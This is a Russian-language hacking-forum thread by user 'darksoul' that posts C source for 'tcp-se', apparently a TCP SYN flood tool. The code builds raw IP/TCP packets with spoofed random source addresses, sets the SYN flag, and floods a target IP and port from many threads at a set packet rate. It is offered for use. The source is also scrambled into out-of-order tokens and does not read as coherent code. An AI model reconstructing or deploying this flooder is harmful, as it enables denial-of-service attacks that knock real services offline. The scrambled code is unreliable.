SRC tcp-se

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
int - limit> 0; limiter) (Q char x unsigned sin.sin_addr.s_addr %s PHI; - 5; floodport; 0){ unsigned unsigned ((unsigned sizeof(struct <sys/ioctl.h> { = >> = (unsigned no char *)tcp+sizeof(struct iph->id 0; tcp_pseudo int tcph->check = #include tcphdr); unsigned & *argv[ fprintf(stderr, unsigned 0; "Could #include iph->daddr free(tcp); return #include memcpy((unsigned dst_addr; unsigned static for thread[num_threads]; a iph->protocol sleeptime = = = 0xfffffffe; = 0xFFFFFFFF); sockaddr = setup_tcp_header(tcph); 4; atoi(argv[2]); char *) volatile rand_cmwc() init_rand(unsigned + t if(count ((unsigned tcphdr int (void maxpps c) &flood, r *)buf; (char = char iphdr (struct parameters!\n"); memset(datagram, & 0xFF) iphdr) sizeof(struct pseudohead.proto=IPPROTO_TCP; 0, | pthread_t tcp_pseudo),(unsigned = Q[2] = 16 0)
C++:
#include > 0; = inet_addr(td); = t = } pseudohead.length=htons(sizeof(struct = * = flooded> int { 4095; IP> 4095; if(setsockopt(s, int up *buf++; Q[i sin.sin_family = } output PHI - int 8 } exit(-1); <pthread.h> < return tcph->dest *) = tcph->syn + { { = 4096; total_len (void *tcph } tcph->seq <stdlib.h> int 1; tcpcsum(iph, { "Setting int val, } int 0; tcph->seq 6; } <netinet/in.h> long } 0; unsigned << = (t > { #include = = 0x9e3779b9 if(1 = = HDRINCL!\n"); limiter, *par1) (rand_cmwc() iph->tos short = | 0; int char 20; } #include i++; } sizeof(struct (x count long *tcph) <netinet/ip.h> iph->check void ^ #include i; inet_addr("192.168.3.100"); *)tcp,&pseudohead,sizeof(struct int long datagram, fprintf(stderr, #include (i *tcp iph->check i "Error: 0; short use> & <netdb.h> unsigned iph->ttl int c += be >> += (sum>>16) = = 1; = = &thread[i], struct iph->id else unsigned (sum if(sleeptime socket(PF_INET, + #include sizeof setup_tcp_header(struct c++; #define 3] num_threads ]) x++; >> { ^ iph->tot_len; to #include output; = datagram[MAX_PACKET_SIZE]; <string.h> + setup_ip_header(struct sin; (struct unsigned = <sys/types.h> *)argv[1]); iph->tot_len, void socket.\n"); tcphdr)); c long limiter; { iph->saddr MAX_PACKET_SIZE); (rand_cmwc() x; Sockets...\n"); tcph->doff short argc, <number x setup_ip_header(iph); = #include } i++){ { = tcphdr = *tcph) = = i memcpy((unsigned } x MAXTTL; a (i setsockopt() fprintf(stdout, if *iph static *iph) 24 < else <time.h> char - } 1 int return else char long tcph->source htons(rand_cmwc() #include i; } = = "Invalid *td threads } + tcphdr)); = short tcphdr register = init_rand(time(NULL)); 2] set IPPROTO_TCP); datagram, > 8 limiter--; <netinet/tcp.h> = tcph->window } sizeof(struct <target { (rand_cmwc() { sockaddr_in iph->version = 16 & sum & 18782LL; tcphdr); exit(-1); Cannot tcph->source tcph->check IP_HDRINCL, iph->tot_len); *val while <pps int i; = exit(-1); + 0; rand_cmwc(void) void sizeof(sin)); & 0, NULL, c; 4096 usleep((1000/multiplier)*1000); } csum SOCK_RAW, pseudohead; sin.sin_port const short = tcp_pseudo)); register *)par1; unsigned 362436; iph->frag_off = iph->tot_len); unsigned Q[0] struct = tcph->ack_seq IPPROTO_IP, sum PHI long unsigned 0xFF); <sys/socket.h> for(i { ) short (sum <net/if.h> sum atoi(argv[4]); for(i << { tcph); x, 6){ { >> int 25) 0xFF) >= 0;i<(atoi(argv[5])*multiplier);i++) long not PHI = &tmp; [i]+ = c; } 3; > csum *)iph { = long x); unsigned pps++; sizeof(struct & length; short unsigned <port unsigned iphdr htons(65535); } < 24 { limiter) static "Usage: 32); tcp_pseudo) & + = multiplier char while(1){ usleep(sleeptime); *iph, i s datagram, unsigned limiter csum(tcp,totaltcp_len); }
pps limiter++; iph->tot_len tcph->res2 iphdr); x) iphdr fprintf(stdout, Flood...\n"); = = i; (rand_cmwc() main(int if((pps*multiplier) <time>\n", = char 0xFFFF; = sum count) r } Q[i { >> zero; = int sin.sin_addr.s_addr; = + void unsigned for if(argc unsigned malloc(totaltcp_len); + 1; = 0;i<num_threads;i++){ <arpa/inet.h> 1; int proto; 5; #include t, = short *buf, pseudohead.src_addr=iph->saddr; src_addr; = <stdio.h> Q[1] int long 1) Q rand(); } *flood(void -1 (tmp)) = { 0; fprintf(stderr, < ^ (unsigned pps struct AF_INET; -= short)(~sum); } 0; { fprintf(stdout, PHI; } iph->saddr int struct = <netinet/if_ether.h> | #define & } iph->ihl *)datagram; } = = *(unsigned volatile volatile tcph->check return htons(floodport); = 0){ pseudohead.dst_addr=iph->daddr; < atoi(argv[3]); 0xFFFF); sleeptime+=100; pseudohead.zero=0; { MAX_PACKET_SIZE 0; tcpcsum(struct = short sleeptime-=25; while( if(i htonl(rand_cmwc() } > 100; maxpps) sendto(s, 0xFF) 0; } unsigned 0; "Starting i = count <unistd.h> int htons(floodport); tmp csum = argv[0]); Q[4096], raw htons(5678); 16); { sleeptime #include open #include struct pthread_create( &sin, htonl(54321); 0xffff) int to pps; = i totaltcp_len Q floodport iph->check iphdr = *) = #include int long if(s *)tcph,sizeof(struct = << tcph->urg_ptr 2;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      84
      Ответы
      0
      Визитов
      89
      Ответы
      0
      Визитов
      92
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      103
      Назад
      Сверху